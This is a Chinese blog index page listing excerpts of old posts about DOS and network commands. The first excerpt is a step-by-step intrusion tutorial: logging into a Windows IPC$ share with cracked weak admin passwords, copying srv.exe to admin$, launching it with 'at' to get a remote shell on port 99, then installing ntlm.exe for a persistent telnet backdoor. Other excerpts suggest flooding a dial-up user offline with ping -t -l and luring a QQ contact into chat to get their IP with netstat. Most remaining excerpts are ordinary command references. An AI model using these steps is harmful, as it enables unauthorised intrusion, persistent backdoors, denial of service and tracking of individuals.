博文
DOS入侵示例(2006-04-15 10:31:00)
摘要：这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
11. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"
一般用流光，通过扫描弱口令来得到，管理员帐号和密码.
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。
3. C:\>net time \\127.0.0.1
查查时间，发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到时间没有？如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05，那就准备开始下面的命令。
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
8. C:\WINNT\system32>ntlm
输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net st......
DOS下常用的相关网络命令(2005-10-14 18:19:00)
摘要：在DOS下的Microsoft Network Client和Windows 9x的DOS窗口等环境中，有许多很有用的但不包含在DOS自带的命令中的网络命令。那么，有哪些这样的命令呢？下面将它们中常用的命令介绍一下。
Arp
显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了 TCP/IP 协议之后才可用。
arp -a [inet_addr] [-N [if_addr]]
arp -d inet_addr [if_addr]
arp -s inet_addr ether_addr [if_addr]
参数
-a
通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr，则只显示指定计算机的 IP 和物理地址。
-g
与 -a 相同。
inet_addr
以加点的十进制标记指定 IP 地址。
-N
显示由 if_addr 指定的网络界面 ARP 项。
if_addr
指定需要修改其地址转换表接口的 IP 地址（如果有的话）。如果不存在，将使用第一个可适用的接口。
-d
删除由 inet_addr 指定的项。
-s
在 ARP 缓存中添加项，将 IP 地址 inet_addr 和物理地址 ether_addr 关联。物理地址由以连字符分隔的 6 个十六进制字节给定。使用带点的十进制标记指定 IP 地址。项是永久性的，即在超时到期后项自动从缓存删除。
ether_addr
指定物理地址。
Finger
在运行 Finger 服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变量。该命令只有在安装了 TCP/IP 协议之后才可用。
finger [-l] [user]@computer[...]
参数
-l
以长列表格式显示信息。
user
指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息：
@computer
Ftp
将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件（有时称作......
DOS下常用的相关网络命令(2005-09-19 00:20:00)
摘要：在DOS下的Microsoft Network Client和Windows 9x的DOS窗口等环境中，有许多很有用的但不包含在DOS自带的命令中的网络命令。那么，有哪些这样的命令呢？下面将它们中常用的命令介绍一下。
Arp
显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了 TCP/IP 协议之后才可用。
arp -a [inet_addr] [-N [if_addr]]
arp -d inet_addr [if_addr]
arp -s inet_addr ether_addr [if_addr]
参数
-a
通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr，则只显示指定计算机的 IP 和物理地址。
-g
与 -a 相同。
inet_addr
以加点的十进制标记指定 IP 地址。
-N
显示由 if_addr 指定的网络界面 ARP 项。
if_addr
指定需要修改其地址转换表接口的 IP 地址（如果有的话）。如果不存在，将使用第一个可适用的接口。
-d
删除由 inet_addr 指定的项。
-s
在 ARP 缓存中添加项，将 IP 地址 inet_addr 和物理地址 ether_addr 关联。物理地址由以连字符分隔的 6 个十六进制字节给定。使用带点的十进制标记指定 IP 地址。项是永久性的，即在超时到期后项自动从缓存删除。
ether_addr
指定物理地址。
Finger
在运行 Finger 服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变量。该命令只有在安装了 TCP/IP 协议之后才可用。
finger [-l] [user]@computer[...]
参数
-l
以长列表格式显示信息。
user
指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息：
@computer
Ftp
将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件（有时称作......
基本DOS命令全集(2005-09-18 02:07:00)
摘要：一）MD——建立子目录
1．功能：创建新的子目录
2．类型：内部命令
3．格式：MD[盘符：][路径名]〈子目录名〉
4．使用说明：
（1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器；
（2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。
例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。
C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX）
C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录）
（二）CD——改变当前目录
1．功能：显示当前目录
2．类型：内部命令
3．格式：CD[盘符：][路径名][子目录名]
4．使用说明：
（1）如果省略路径和子目录名则显示当前目录；
（2）如采用“CD、”格式，则退回到根目录；
（3）如采用“CD.。”格式则退回到上一级目录。
例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。
C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录）
C:、FOX、USER＞CD.。 （退回上一级根目录）
C：、FOX＞CD、 （返回到根目录）
C：、＞
（三）RD——删除子目录命令
1．功能：从指定的磁盘删除了目录。
2．类型：内部命令
3．格式：RD[盘符：][路径名][子目录名]
4．使用说明：
（1）子目录在删除前必须是空的，也就是说蹊要先进入该子目录，使用DEL（删除文件的命令）将其
子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身；
（2）不能删除根目录和当前目录。
例：要求把C盘FOX子目录下的USER子目录删除，*作如下：
第一步：先将USER子目录下的文件删空；
C、＞DEL C：、FOX、USER、*。*
第二步，删除USER子目录。
C、＞RD Ｃ：、FOX、USER
（四）DIR——显示磁盘目录命令
1．功能：显示磁盘目录的内容。
2．类型：内部命令
3．格式：DIR [盘符][路径]
[/W]
4． 使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清
，加上/P参数后，屏幕上会分......
DOS命令集锦(2005-09-18 02:05:00)
摘要：cd 改变当前目录 sys 制作DOS系统盘
copy 拷贝文件 del 删除文件
deltree 删除目录树 dir 列文件名
diskcopy 制磁盘 edit 文本编辑
format 格式化磁盘 md 建立子目录
mem 查看内存状况 type 显示文件内容
rd 删除目录 ren 改变文件名
cls 清屏
［适用场合］ 屏幕上太乱了，或是屏幕上出现乱码了， 清除屏幕上显示内容但不
影响电脑内部任何信息
［用 法］ cls 回车
move 移动文件，改目录名
［适用场合］ 移动文件到别的目录
［用 法］ move [文件名] [目录] 移动文件至新目录下
move [目录名] [目录名] 改目录名
［例 子］ c:\>move c:\autoexec.bat c:\old
移动autoexec.bat文件至old目录下
c:\>move c:\config.sys c:\temp
移动config.sys文件至old目录下
more 分屏显示
［适用场合］ 当输出很多一屏显示不下时采用，几乎适合所有命令，尤其是type
等命令时很有用。 使用more时磁盘不能有写保护，也不适合光驱。
［用 法］ type [文件名] | more 分屏显示文件内容
more < [文件名] 分屏显示文件内容
［例 子］ C:\>type msdos.w40 | more
xcopy 拷贝目录和文件
［适用场合］ 在进行连同子目录一起拷贝时很有用，在拷贝大量文件时比COPY命令
要快得多
［用 法］ xcopy [文件名] [目录] 将指定文件拷贝......
网管必须熟悉的几个网络DOS命令。(2005-09-18 02:04:00)
摘要：一，ping
它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客
来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确
定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的
数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。下面就来看看它的一些
常用的操作。先看看帮助吧，在DOS窗口中键入：ping /? 回车，出现如图1。所示的帮助画面。在此，
我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，
而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻
击就这么简单的实现了。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的
-t参数一起使用，会有更好的效果哦。
-n 定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不
少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。
说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP
-t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非
得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。
下面我们举个例子来说明一下具体用法，如图2。
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的
大小 。从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是
可以修改的。这里TTL=32表示操作系统可能是win98。
（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目......
活学活用DOS命令(2005-09-18 02:03:00)
摘要：DOS和Windows最大的不同在于DOS命令方式操作，所以使用者需要记住大量命令及其格式使用方法，
DOS命令分为内部命令和外部命令，内部命令是随每次启动的COMMAND.COM装入并常驻内存，而外部
命令是一条单独的可执行文件。在操作时要记住的是，内部命令在任何时候都可以使用，而外部命
令需要保证命令文件在当前的目录中，或在Autoexec.bat文件已经被加载了路径。
常用的内部命令
DOS的内部命令是DOS操作的基础，下面就来介绍一些常用的DOS内部命令。
1、DIR
含义：显示指定路径上所有文件或目录的信息
格式：DIR [盘符：][路径][文件名] [参数]
参数：
/W：宽屏显示，一排显示5个文件名，而不会显示修改时间，文件大小等信息；
/P：分页显示，当屏幕无法将信息完全显示时，可使用其进行分页显示；
/A：显示具有特殊属性的文件；
/S：显示当前目录及其子目录下所有的文件。
举例：DIR /P
将分屏显示当前目录下文件。在当前屏最后有一个“Press any key to continue . . .”提示，
表示按任意键继续。
2、CD
含义：进入指定目录
格式：CD [路径]
举例：CD DOS
CD命令只能进入当前盘符中的目录，其中“CD\”为返回到根目录，“CD..”为返回到上一层目录。
3、MD
含义：建立目录
格式：MD [盘符][路径]
举例：MD TEMP
表示在当前盘符下建立一个名为TEMP的目录。
4、RD
含义：删除目录
格式：RD [盘符][路径]
举例：RD TEMP
表示删除当前路径下的TEMP目录，需要注意的是，此命令只能删除空目录。
5、COPY
含义：拷贝文件
格式：COPY [源目录或文件] [目的目录或文件]
举例1：COPY C:\*.COM D:\"，表示将C盘根目录下所有扩展名为COM的文件拷贝到D盘根目录中。
举例2：COPY C:\autoexec.bat C:\autoexec.bak
表示将autoexec.bat文件复制成为扩展名为BAK的文件。输入DIR命令，可以发现此变化。
6、DEL
含义：......
DOS命令查QQ好友IP地址(2005-09-18 02:03:00)
摘要：
不多啰嗦了，正式开始。 首先，用甜言蜜语、糖衣炮弹之类的武器把你想知道IP地址的那个
人“请”到QQ的“二人世界”里。接着，我们在DOS窗口里(Win9x下叫DOS，Win2000下叫命令提示符)
。输入如下命令：
netstat -n
你将看到：
Active Connections
Proto Local Address Foreign Address State
TCP 202.109.34.78:1200 202.121.139.35:61555 ESTABLISHED
TCP 202.109.34.78:2694 202.109.72.40:6667 ESTABLISHED
TCP 202.109.34.78:4869 211.202.1.227:23 ESTABLISHED
好家伙，这么多IP！哪个才是我们要找的呢？别着急，往后看。我们现在退出“二人世界”，
然后在DOS下再输入一次：
netstat -n
你将看到：
Active Connections
Proto Local Address Foreign Address State
TCP 202.109.34.78:1200 202.121.139.35:61555 TIME_WAIT
TCP 202.109.34.78:2694 202.109.72.40:6667 ESTABLISHED
TCP 202.109.34.78:4869 211.202.1.227:23 ESTABLISHED
看出前后两次的区别了吗？没有看出来？仔细着看，你会发现：
原来：TCP 202.109.34.78:1200 202.121.139.35:61555 ESTABLISHED
现在：TCP 202.109.34.78:1200 202.121.139.35:61555 TIME_WAIT
好了，现在你该知道了吧？对！和你聊天的人的IP就是：202.101.139.35！那你是怎么知道的
呢？朋友，请看我们在“二人世界”时要传送消息，......